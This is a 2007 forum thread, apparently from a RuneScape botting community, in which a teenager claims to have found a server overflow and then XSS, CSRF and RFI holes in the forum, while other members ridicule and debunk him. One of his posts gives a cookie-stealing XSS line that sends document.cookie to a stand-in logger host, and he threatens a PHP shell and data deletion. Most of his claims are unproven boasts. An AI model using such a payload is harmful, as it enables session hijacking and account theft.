Runescape Hacked
santascar
2007-09-29 03:15:47
Well.
Talking to some hacking teams out there im a part of.
And gaming came up on the IRC.
Few others play.
Anyway.
We talked about what root in the rs servers would be like.
So we started testing.
Found a hole.
Its known as a Stack Based Overflow.
Now this basically allows us to execute abitrary code.
We could take root in runescape instantly.
What do you think?
We should AutoRune again and give ourselves all 126'ers with every single item of value ten-fold and ban zezima?
or report it to jagex?
or last option, totally destroy the runescape economy?
(yay for party hats being randomly dropped world wide :P)
Runescape Pro
2007-09-29 03:21:17
If you really found this, neat. But I would definately report it to jagex… ruining runescape is like ruining my life lol (sad but true…) and getting lvl 126's with all valueable items is pointless and would make everything not valuable and would end runescape :(
lakerzz8
2007-09-29 03:23:19
Drop P hats everywhere!
santascar
2007-09-29 03:24:47
you realise droping p hats everywhere is pointless because value wil drop to 1k in a few minutes?
n3ss3s
2007-09-29 03:32:45
haha, no. While people pick up the phats, trade through several mms to their some banker acc, Jagex fixes the *hack* etc, and the price starts going up again. PHats originally dropped from skies, right?
JuKKa
2007-09-29 04:02:04
From: n3ss3s
haha, no. While people pick up the phats, trade through several mms to their some banker acc, Jagex fixes the *hack* etc, and the price starts going up again. PHats originally dropped from skies, right?
I think we should just keep this like in a small group, So jagex wouldnt get notice of this. Of course it would ruin all the fun in autoing because u already have everything, And u have nothing to gain. Phats were dropped in Christmas crackers and when u pull these, A Phat will come out. (Random color).
Infact i dont think u should do anything. Just keep it as a little secret. Use it when u REALLY need something, Like 1-5m gp or so. Or u could be nice and report it and
i doubt u will tell us how to do it..
Hobbit
2007-09-29 04:05:14
If you really knew this, why would you be telling us?
lakerzz8
2007-09-29 04:26:38
From: santascar
you realise droping p hats everywhere is pointless because value wil drop to 1k in a few minutes?
Considering I don't have one, I would not care if the value dropped. I would laugh at all the people who spent their who lives earning the millions to get one.
lolpie
2007-09-29 04:35:14
If this is true, then don't ban Zezima. I don't understand why everyone hates him…
BobboHobbo
2007-09-29 04:39:21
From: lolpie
If this is true, then don't ban Zezima. I don't understand why everyone hates him…
Because his a nerd, he doesnt eat /sleep/ and doesnt get out of his computer chair.
lolpie
2007-09-29 04:46:43
From: BobboHobbo
Because his a nerd, he doesnt eat /sleep/ and doesnt get out of his computer chair.
And you know that how? Did he personally come up to you and say those things?
mastaraymond
2007-09-29 05:40:26
From: lolpie
And you know that how? Did he personally come up to you and say those things?
His stats told me…
n3ss3s
2007-09-29 05:59:03
Roflmao, masta pwns..
Because his a nerd, he doesnt eat /sleep/ and doesnt get out of his computer chair.
Like I would? :p You have to make sacrifices to be pro xD
Buckleyindahouse
2007-09-29 07:10:25
Don't be dicks guys. If you played 1 game for 5-6 years you would have all 99s too. Anyways If you dupped/Dropped phats then jagex would trace who didnt have 1 and who didn't do a trade for one and ban you. simple as that. Also they can keep track of how much time you play on rs if you remember when they was talking bout real world trading. You cant play for 4 months and be lvl 126 another insta-ban.
Lorax
2007-09-29 07:22:50
I would say.. tell it to Jagex,..
It would give the cheaters a good reputation and it would allow us to cheat using SCAR and other bots for some more time..
I know the idea of having a Phat would be nice..
And I wouldn't blame you for taking one yourself.. but after that, just report it.. it would be catastrophic to ruin RS.. they would sue you big time..
Starblaster100
2007-09-29 07:35:21
You do realize this guy is probably talking rubbish anyways and didn't actually manage to do anything
From: Starblaster100
You do realize this guy is probably talking rubbish anyways and didn't actually manage to do anything
I was going to say that too.. I've seen too many random people who know a few hacking related words post threads about this kind of stuff on diff. sites.
From: santascar
Well.
Talking to some hacking teams out there im a part of.
And gaming came up on the IRC.
Few others play.
Anyway.
We talked about what root in the rs servers would be like.
Root is a super user account. Box is a machine.
From: santascar
So we started testing.
Found a hole.
Its known as a Stack Based Overflow.
Now this basically allows us to execute abitrary code.
We could take root in runescape instantly.
You found a hole in what? Apache? SSH? Stack overflow happens when the application writes more data to a buffer located on the stack than there was actually allocated for that buffer. That application can't be runescape server daemon because it's 100% not ran as root, exploiting that would only allow you to get shell access for the user that server is running as.
What do you think?
We should AutoRune again and give ourselves all 126'ers with every single item of value ten-fold and ban zezima?
You would get access to the server which designates one world, it has no data stored about usernames, password and similar stuff. You wouldn't get access to database so the item creating, char banning or any other thing that has to deal with global stuff is not possible.
or report it to jagex?
If you were a real hacker, you would post an advisory on securityfocus and report the bug to the company which owns the application and propose them a fix.
The scriptkiddies are lame, you are not hacker if you go and DEFACE websites using an exploit posted by someone else to get the access to the website's ftp. Hack groups make me laugh, hack groups were popular in '90-'95, these scriptkiddie groups think they can hack because they have found an source of a bot that someone else wrote and they learned how to use COMPILE button in devc++, they've made botnet, know how to install rootkit, and how to list files, and they call themselves hackers and hack groups.
Don't make me laugh.
Buckleyindahouse
2007-09-29 11:07:49
From: c0de
Root is a super user account. Box is a machine.
You found a hole in what? Apache? SSH? Stack overflow happens when the application writes more data to a buffer located on the stack than there was actually allocated for that buffer. That application can't be runescape server daemon because it's 100% not ran as root, exploiting that would only allow you to get shell access for the user that server is running as.
You would get access to the server which designates one world, it has no data stored about usernames, password and similar stuff. You wouldn't get access to database so the item creating, char banning or any other thing that has to deal with global stuff is not possible.
If you were a real hacker, you would post an advisory on securityfocus and report the bug to the company which owns the application and propose them a fix.
The scriptkiddies are lame, you are not hacker if you go and DEFACE websites using an exploit posted by someone else to get the access to the website's ftp. Hack groups make me laugh, hack groups were popular in '90-'95, these scriptkiddie groups think they can hack because they have found an source of a bot that someone else wrote and they learned how to use COMPILE button in devc++, they've made botnet, know how to install rootkit, and how to list files, and they call themselves hackers and hack groups.
Don't make me laugh.
Wow, You ripped everyone (except
Buckley) in that 1 posts nice.
lol.
From: Buckleyindahouse
Wow, You ripped everyone (except Buckley) in that 1 posts nice.
lol.
Was I supposed to do it? :)
bullzeye95
2007-09-29 11:43:32
Tell me c0de, where do you learn this stuff?
Hobbit
2007-09-29 11:45:48
Not me either :)
I did this, what this guy obviously can only talk about, when I was 10 year old. Looking back now, I can only see how lame it all was…
bullzeye95
2007-09-29 12:02:26
But how did you LEARN all this stuff? College? If not, then how? 'Cause I wanna be a c0de when I grow up :)
n3ss3s
2007-09-29 12:07:40
0mfgz0r c0de is t3h s3x!
Like, PWNT!
I think this "hacker team" should've try Wiki:ing Stack Overflow before posting BS xD
itSchRis917
2007-09-29 12:17:15
Wow.. c0de just raped santascar up the ass..
From: bullzeye95
But how did you LEARN all this stuff? College? If not, then how? 'Cause I wanna be a c0de when I grow up :)
Lol you don't learn this stuff in college, I teached myself, experimenting, google, books…
Big thanks goes to my brother who never wanted to tell me how is something done, I had to figure it out on my own, thank you bro.
Edit: I saw this guy posting some other bullshit about hacking and saying how there are no hackers in this community. It made me laugh IRL.
R0b0t1
2007-09-29 12:34:42
Even if you did find a hole in a server, and which you didn't, and you found a way to pump commands through it, and you most likely never will, Jagex would soon find the leak and send you hatemails, and in the end, sue you, causing the worlds poor to suck you in.
You should really learn not to be stupid - its a bad habbit.
[offtopic]
What stuff exactly do you know? I bet you couldz hack cuz way back when the dinosaurs walked the internet the word security was not in the dictionary.
[/offtopick]
Who me, or him? Looking at various sources, I can tell he's 15 years old atm. ;-)
Ignorance is bliss.
The more you don't know, the more you think you know. The more you do know, the more you don't think you know.
rsnub6
2007-09-29 15:37:51
you should give me a p-hat set and then! tell jagex.
but seriously you should tell them. caus that is their job, killing runescapr would be the same as going a robbing all those workers of their paycheck.
shaunthasheep
2007-09-29 16:29:38
From: rsnub6
you should give me a p-hat set and then! tell jagex.
but seriously you should tell them. caus that is their job, killing runescapr would be the same as going a robbing all those workers of their paycheck.
LMAO, have you read any of the topic since c0de posted…
kingarabian
2007-09-29 18:18:04
He just wants us to try fix auto rune and to bring it back….
Harry
2007-09-29 18:49:52
Ohmigawd. c0de is the ownazor.
R0b0t1
2007-09-29 19:26:51
I meant you, c0de. Did you use the internet way back before cavemen existed?
Oh, and yes: Every stupid person needs a picture.
DIPSHIT!
I hope thats not gasoline in there…
From: R0b0t1
I meant you, c0de. Did you use the internet way back before cavemen existed?
Lol, kind of.
nething
2007-09-29 20:49:02
I really doubt you really figured this out.
Also as far as reporting it to Jagex goes, I personally think that they watch these forums because they have gotten youtube to delete videos posted about how to set up SCAR and other things. And if that is true they have probly read this thread and laughed at you.
From: nething
And if that is true they have probly read this thread and laughed at you.
Among others ;-)
santascar
2007-09-30 08:20:50
hey look someone who actually knows what im talking about.
But yes the Stack Overflow is inside the rs daemon.
Bu that doesnt give us root.
Its the OS that the rs servers are running that gives us root.
Because we can elevate privs using numerous techniques.
and for those who find it funny rs doesnt even shaddow there etc/passwd files.
i find that lolish.
santascar
2007-09-30 08:26:02
and jsut reading your post.
You may be as judgemental as you wish.
But i talk to and associate with people every day that make your minute knowledge of computing technology look even more minute.
And no i dont use other peoples exploit techniques.
I have my own.
And security focus please its jsut white-hats.
I live by the philosiphy of a gray hat so why the hell wouldnt i keep this for myself.
you annoy me because you call me a skiddi but then you say skiddis take there sploits from sites and others.
well if you ahve a problem with it then dont give you sploits to sites!
dont laugh at my gramatical components in this conversation im half drunk.
santascar
2007-09-30 08:29:36
but for proof that i am not a skiddi check out hbh you might find another santa in there.
He happens to be ranked 88th out of 22,000 other users on a hacking community.
yeh your right that proves i know nothing of what im talking about.
oh jsut so you know
hbh=hellboundhackers
a white hat community.
shaunthasheep
2007-09-30 08:50:11
Naughty Naughty Koolaid! (No triple posts)
rkroxpunk
2007-09-30 09:02:45
wow I can't believe so many people believed him…..O.o
Lalaji
2007-09-30 10:25:22
I'd need proof to believe that…
yanix
2007-09-30 11:03:35
From: BobboHobbo
Because his a nerd, he doesnt eat /sleep/ and doesnt get out of his computer chair.
Ergh ive heard that hes the first player that came to RS and that RS has made him and given him all the stats he got..? cuz i have NEVER seen zezima or talked to him and i dont know anyone that has… so he gota be a PC or something :D
Santa, can you get more lame than this?
You think you can hack because you complete challenges on a site that have walkthrough for each challenge. You call whitehats stupid, and ask why we post exploits. Want answer? Because we can ;-)
The rank, how long did it take you to view source of a webpage so you can see what password variable in javascript contains. A year? I guess so. 22k members, I say atleast 80% of those didn't even start doing challenges.
If you're so sure about what you're talking, please tell me what OS are they running. I'm sure you'll say it's Linux. That tells me nothing, give me kernel version, services they run on a box… A simple nmap scan could tell you all that, but then again even if you were trying to attack box, you'd be attacking wrong server. Give me IP of the server which contains database with usernames and passwords, please.
They don't even shadow their /etc/passwd file? Shadowed passwords are located in /etc/shadow file, /etc/passwd shows only list of users, not the password itself. You think they all have same password X? Lmao.
You talk to people who can compile autorooter and run it, wow, that really requires some knowledge, I mean, what does C class mean…
Your own exploit techniques, don't tell me you have working copy of rs daemon and that you're actually tracing every call of every function to find a possible place to inject a shellcode. You generate your own payloads?
What you know is how to use john the ripper with a default list of passwords, you know how to compile and run exploit, what else do you know? Hi tech words… Ok what else?
It tells a lot of your personality, that you can't even take time to make a decent post, instead of making 3 stupid posts. What would happen when you would have to wait 3 days to crack a simple password using brute force… You'd die?
Cut that shit out, and go back under your rock.
Edit: You're 15, that means you still believe in Santa Claus?
lolpie
2007-09-30 13:42:50
Owned, yet again.
santascar
2007-09-30 19:24:31
lol well as prof do i have permission from you as a dev to hack srl-forums?
I wouldnt do anything harmful just give myself a root shell.
R0b0t1
2007-09-30 21:48:22
Lol, idiot, root is harmfull (well, depends who has it), and the shell (in computer architecture is the UI, well, thats what I read it was) is just the UI of the computer, right? I doubt they're a word together.
And I'm guessing all this, and c0de can tell me if I'm right, but Its most likely better than your explanation.
Buckleyindahouse
2007-09-30 23:10:39
you guys went from English to whoblahgblagh.
kingarabian
2007-10-01 00:11:20
From: santascar
lol well as prof do i have permission from you as a dev to hack srl-forums?
I wouldnt do anything harmful just give myself a root shell.
Seriously if you were a "Hacker" you would have better grammar.
Sp0rky
2007-10-01 00:38:26
From: Starblaster100
You do realize this guy is probably talking rubbish anyways and didn't actually manage to do anything
Rofl, exactly! How can so many people believe this guy?
He is quite clearly lying and has found no exploit allowing him to execute code server side.
kingarabian
2007-10-01 00:41:47
From: Sp0rky
Rofl, exactly! How can so many people believe this guy?
He is quite clearly lying and has found no exploit allowing him to execute code server side.
He just wants people to bring autorune back.
santascar
2007-10-01 02:53:24
ffs i dont even know what auto-rune is.
Cheating in runescape is just my way to blow off steam.
You may choose whether or not to believe me.
And root shell is kind of like slang.
Having a terminal shell with root privileges on a remote server is what it means.
AKA nothing to stop me rm-rf'ing the whole lot.
And yes i was wrong in one area c0de
this is only one of the "worlds" not the DB.
But the user and item data must be called from somewhere on the network.
And also whoever else said something about my grammar.
WTF grammar has nothing to do with whether or not your a hacker.
Because by your reckoning every single english teacher is a hacker.
so.
WTF
santascar
2007-10-01 02:54:53
@robot1 hey ever heard of sarcasm?
STOP Double,triple,quadro-pento-sexto-septo posting. Use the stupid edit button.
And yes, go ahead, hack the SRL Forums, but post proofs, your talk only makes me laugh, what else are we going to see… your photo manipulation skills?
I hope you don't think ddos is way to hack, because man, you need some help…
I can go around and talk I've hacked the FBI.gov…
Proofs, proofs, proofs…
santascar
2007-10-01 03:58:15
no im thinking more of ill just edit that little scroller thing on front page to say hacked.
Rofl, even tho that's called defacing, but yeah, go ahead, please do so. ;-)
kingarabian
2007-10-01 04:25:27
From: santascar
ffs i dont even know what auto-rune is.
Cheating in runescape is just my way to blow off steam.
You may choose whether or not to believe me.
And root shell is kind of like slang.
Having a terminal shell with root privileges on a remote server is what it means.
AKA nothing to stop me rm-rf'ing the whole lot.
And yes i was wrong in one area c0de
this is only one of the "worlds" not the DB.
But the user and item data must be called from somewhere on the network.
And also whoever else said something about my grammar.
WTF grammar has nothing to do with whether or not your a hacker.
Because by your reckoning every single english teacher is a hacker.
so.
WTF
So.
What do you.
Want us to do.
For you.
If you "Hacked" runescape?
Also.
WTF.
How could you not know what auto-rune is FFS?
When you just talked about it?
*cough*
We should AutoRune again and give ourselves all 126'ers with every single item of value ten-fold and ban zezima?
*cough*.
No offense man.
You made.
Your self look stupid.
PwNZoRNooB
2007-10-01 10:40:46
From: lakerzz8
Drop P hats everywhere!
NOOO… value will drop to 1 P Hat = 1 Potato.
R0b0t1
2007-10-01 10:52:14
He's lying 'bout that, you know.
This is Santa
You were owned santa, go away pl0x!
Only thing you've proven here is that you know a couple fancy words, just get lost, you already got owned.. I guess "the show must go on".. And I can see how this goes. Now you act like you're going to hack this site, but you won't, and when you realize you can't hack, you'll just
a) leave and never return
b) make up a excuse and continue with this bullshit
c) get banned when people get tired enough with you.
aand before you google "omg 1337 DDOS h4x", that's not hacking.. And won't make your penis larger.
legendaryhero90
2007-10-02 08:46:59
the guy has to give us some proof or its just talk :D
n3ss3s
2007-10-02 10:05:45
And root shell is kind of like slang.
Rofled to that so that my head hurt.
Meh, I believe you when you make the scrolling marquee say:
"Everyone go use n3ss3s SecurityGobliner! It kicks ass and is free for everyone! By Santa."
EDIT: Admins, no pranks plz.
From: n3ss3s
EDIT: Admins, no pranks plz.
Lol, it was crossing my head, and then I saw the edit lol.
santascar
2007-10-03 20:41:28
c0de im writing you a PM as i speak but here is a prelim of what i have already found in your shit little mass produced CMS and bulletin board.
Dont make me laugh with "vBulletin" its so far from beign secure its not even funny.
Use php fusion if you want my advice.
That is the most secure.
Now for what i have found.
You have a CSRF hole in the forum.
Allowing automatic URL redirection.
All it requires is the addition of "%00" to the link.
The browser must recognize this as an image.
Now i would normally tell you how to patch this up but hmmmmm.
No you treated me like dirt.
Onto the second one.
You have an XSS in the PM system.
The threat here is i can redirect to a referer logger.
Where it will log your referer then i can forge the referer and hijack your session.
Allowing me to have admin.
(I am being so brief about these exploits because i dont want everyone on the forum to start XSS'ing and exploiting the exploits i found)
Yes c0de i found these.
They will not be on the web.
No where at all.
And you magic quotes filter or whatever it is needs to be upgraded.
Because i can bypass it by using a blocked word as my XSS alert broken by a semi-colon.
There you are.
More to come.
That proof enough for you that a 15 year old is a more competent computer hacker than you are?
R0b0t1
2007-10-03 21:09:43
XSS isn't really hacking? Nice try though, you almost sounded competent.
Pancakes
2007-10-03 21:29:17
Whats with everyone owning this guy? :p
Ruroken
2007-10-03 21:57:31
Noobs beware because C0de is 1337!
Damn c0de…what CANT you do :p
And whats a white hat community…? >.>
santascar
2007-10-04 04:22:24
LOL XSS ISNT A HACK!!!
And you call me the noob?
gillian
2007-10-04 05:08:20
Bah just quit the verbal posturing and move on to the important issue .. can I have some cheep p-hats plx? :p I got my last batch during the last dupe a few years ago …………………………
(accepting free p-hats via PM! :p)
<3
(PS: I know Zez and have talked with him on TS before .. he sounds like a girl and whines like one, too :()
Hugolord
2007-10-04 05:09:34
From: gillian
Bah just quit the verbal posturing and move on to the important issue .. can I have some cheep p-hats plx? :p I got my last batch during the last dupe a few years ago …………………………
(accepting free p-hats via PM! :p)
<3
meh….not funny?
gillian
2007-10-04 05:11:15
C'mon .. someone has to have a sense of humor here :) Never believed much in words .. only actions. Makes me giggle :p
santascar
2007-10-04 05:18:44
Lol its funny.
The minute im proved wrong everyone is like "OMG IM SO LEET YOU GOT RAPED"
But when i prove you wrong its "Ummm no didnt happen anyway about this zezima guy"
gillian
2007-10-04 05:23:18
m'dear .. I'm no scripter/hacker/whateva, but I do have some common sense and a strategical mind at times .. and if I knew what you say that you know - I surely wouldn't waste my time flaunting it on a public forum that Jagex reads. I would be formulating and then executing my plan for a Runescape-Wide domination .. free phats for all my friends plx .. full dragon for all! :) :p
*wanders back into my corner*
From: santascar
c0de im writing you a PM as i speak but here is a prelim of what i have already found in your shit little mass produced CMS and bulletin board.
Dont make me laugh with "vBulletin" its so far from beign secure its not even funny.
Use php fusion if you want my advice.
That is the most secure.
Now for what i have found.
You have a CSRF hole in the forum.
Allowing automatic URL redirection.
All it requires is the addition of "%00" to the link.
The browser must recognize this as an image.
Now i would normally tell you how to patch this up but hmmmmm.
No you treated me like dirt.
Onto the second one.
You have an XSS in the PM system.
The threat here is i can redirect to a referer logger.
Where it will log your referer then i can forge the referer and hijack your session.
Allowing me to have admin.
(I am being so brief about these exploits because i dont want everyone on the forum to start XSS'ing and exploiting the exploits i found)
Yes c0de i found these.
They will not be on the web.
No where at all.
And you magic quotes filter or whatever it is needs to be upgraded.
Because i can bypass it by using a blocked word as my XSS alert broken by a semi-colon.
There you are.
More to come.
That proof enough for you that a 15 year old is a more competent computer hacker than you are?
Wow, you can do much with XSS? You talk about security and then suggest someone elses software, if you were a hacker, you would suggest to write our own code ;)
But then again, you only know about other peoples work… skiddie?
Who can access your inbox? Just yourself, so are you going to hijack your own cookies which are already stored in your computer?
Got anything else to make me laugh?
I'd love to see you get admin, and finish your part of deal, change the scrolling text up ;) Oh wait, HTML is too complicated for you?
kingarabian
2007-10-04 06:12:07
From: c0de
Wow, you can do much with XSS? You talk about security and then suggest someone elses software, if you were a hacker, you would suggest to write our own code ;)
But then again, you only know about other peoples work… skiddie?
Who can access your inbox? Just yourself, so are you going to hijack your own cookies which are already stored in your computer?
Got anything else to make me laugh?
I'd love to see you get admin, and finish your part of deal, change the scrolling text up ;) Oh wait, HTML is too complicated for you?
Have mercy on the poor guy let him entertain us dawg.
santascar
2007-10-04 06:33:51
Lol c0de you never fail to amuse.
At the begining its always about jsut plain flameing now.
Well now you say XSS isnt a threat.
Your a dick head.
Ummm XSS.
so lets have a look at what i might put as the XSS.
window.location = "
http://SantaServer.com/cookielogger.php?c="+document.cookieSo hmmm let me think.
WOW that means who ever goes to that is gunna have there own cookis logged.
You noobish'ness amuses me.
You say you know something.
Well then why are you not accepting the fact that i have found two deadly holes in your code.
Well it isnt actually yours.
But the reason i told you not to write your own.
Is because that would jsut be filled with holes the size of someones anus after they return from american prison.
And yes HTML is too complicated for me.
Thats why i can write in C, C++, perl, python and ASM.
Yeah you are right i cant write in the most simple fucking language on the planet.
You have pushed me too far c0de.
I no longer wish to deal with you or your stupid ways.
I will be dealing directly with the true admin of this site.
To help him fix the 7 holes i have now found.
By the way.
The most deadly of what i have found is an RFI hole.
Watch out for my very own php shell.
kingarabian
2007-10-04 06:38:44
Just turn admin for gods sake! show us damn proof.
bink830
2007-10-04 07:43:35
wow… i've read the whole thread and a lot of it is really amusing
but even though you make yourself look really good and you like to say the right words you aren't acting on them.
Maybe you can gain a little respect and stop the flame war by just changing the scroller… stop looking for holes and roots and just do it.. then maybe someone will listen
nice job c0de
Pancakes
2007-10-04 08:04:56
I want to see some 1337 hacking!
But something reversable, pl0x :p
From: santascar
Lol c0de you never fail to amuse.
At the begining its always about jsut plain flameing now.
Well now you say XSS isnt a threat.
Your a dick head.
Ummm XSS.
so lets have a look at what i might put as the XSS.
window.location = "http://SantaServer.com/cookielogger.php?c="+document.cookie
So hmmm let me think.
WOW that means who ever goes to that is gunna have there own cookis logged.
You noobish'ness amuses me.
You say you know something.
Well then why are you not accepting the fact that i have found two deadly holes in your code.
Well it isnt actually yours.
But the reason i told you not to write your own.
Is because that would jsut be filled with holes the size of someones anus after they return from american prison.
And yes HTML is too complicated for me.
Thats why i can write in C, C++, perl, python and ASM.
Yeah you are right i cant write in the most simple fucking language on the planet.
You have pushed me too far c0de.
I no longer wish to deal with you or your stupid ways.
I will be dealing directly with the true admin of this site.
To help him fix the 7 holes i have now found.
By the way.
The most deadly of what i have found is an RFI hole.
Watch out for my very own php shell.
Ahahahaha. Seriously, you make me laugh really hard irl.
Yes yes, php shell with safe_mode enabled, wanna see that working…
Btw: If you wish to win anything you have to use good arguments and real proofs ;-)
Wizzup?
2007-10-04 12:35:32
Lock, santa please leave haha.
santascar
2007-10-04 17:18:42
The admins of thise website are the most arrogant and foolish i have ever met.
Now towards the PHP problem you proposed.
Well my shell might not be able to do it.
But there are others out there that could easily bypass it.
Why bother though you will just make up some more bullshit.
lakerzz8
2007-10-04 19:01:13
Why don't you stop making useless posts and show us some damn proof. So far you have given us 5 pages of whining and boasting and 0 proof. Do something already! Exploit the holes for f's sake.
R0b0t1
2007-10-04 22:22:08
Lol, AHAHAHAHAHAHA! Someone with your grammar doing those languages? And because I doubt you even know what ASM is, I'll leave you lone 'bout one.
If you can do all you say you can, then well, do it for Christ's sake.
Bourdou!
2007-10-04 22:40:35
I say. Leave, you don't need to take it upon yourself to show c0de and the admins every fucking (Sorry for Language) thing that is wrong. If you found holes, you do not need to boast that you found them. Your trying to get attention. GTFO!
thematpan
2007-10-04 22:45:46
are you searious about this code? that would be nuts!
From: thematpan
are you searious about this code? that would be nuts!
Am I serious about what?
n3ss3s
2007-10-05 05:33:43
thematpan thinks that guy is ub3rl33th4x0r3ll4 :D :D :D
But there are others out there that could easily bypass it.
Ahahahha! Like, others out there :D :D
Thats same as I would come here "Heyy w00t worlds most malicious hacking team (cotdc?) can edit the scrolling text! w00t "
NxTitle
2007-10-05 10:39:32
wow, this man had his ass handed to him. This is just the hilarity i need in the morning, thank you.
Props to the SRL Community.
Sp0rky
2007-10-05 10:45:17
From: Wizzup?
Lock, santa please leave haha.
rofl, made me laugh irl that santa is such a joke.
R0b0t1
2007-10-05 18:27:22
Yes! I have seen that Santa has
Jackrawl
2007-10-05 19:54:35
I lol'ed throughout this. I wish I could've seen that poor creature go.
I wish I had robot's cat <_<
Ejjman
2007-10-06 01:59:18
leave solarwind!
*cough*cough* I mean santa….
Similarities, YES?
Pancakes
2007-10-06 02:23:10
From: Ejjman1
leave solarwind!
*cough*cough* I mean santa….
Similarities, YES?
No.
Starblaster100
2007-10-06 08:55:54
From: santascar
The admins of thise website are the most arrogant and foolish i have ever met.
Now towards the PHP problem you proposed.
Well my shell might not be able to do it.
But there are others out there that could easily bypass it.
Why bother though you will just make up some more bullshit.
haha. ha. hahaha. hahaha. HAHAHAHA . AHAHAHAHAHAHAHAHAHAH HAHAHAHAHAHAHAHA AHHAHAHAHAHAHAH
Locked.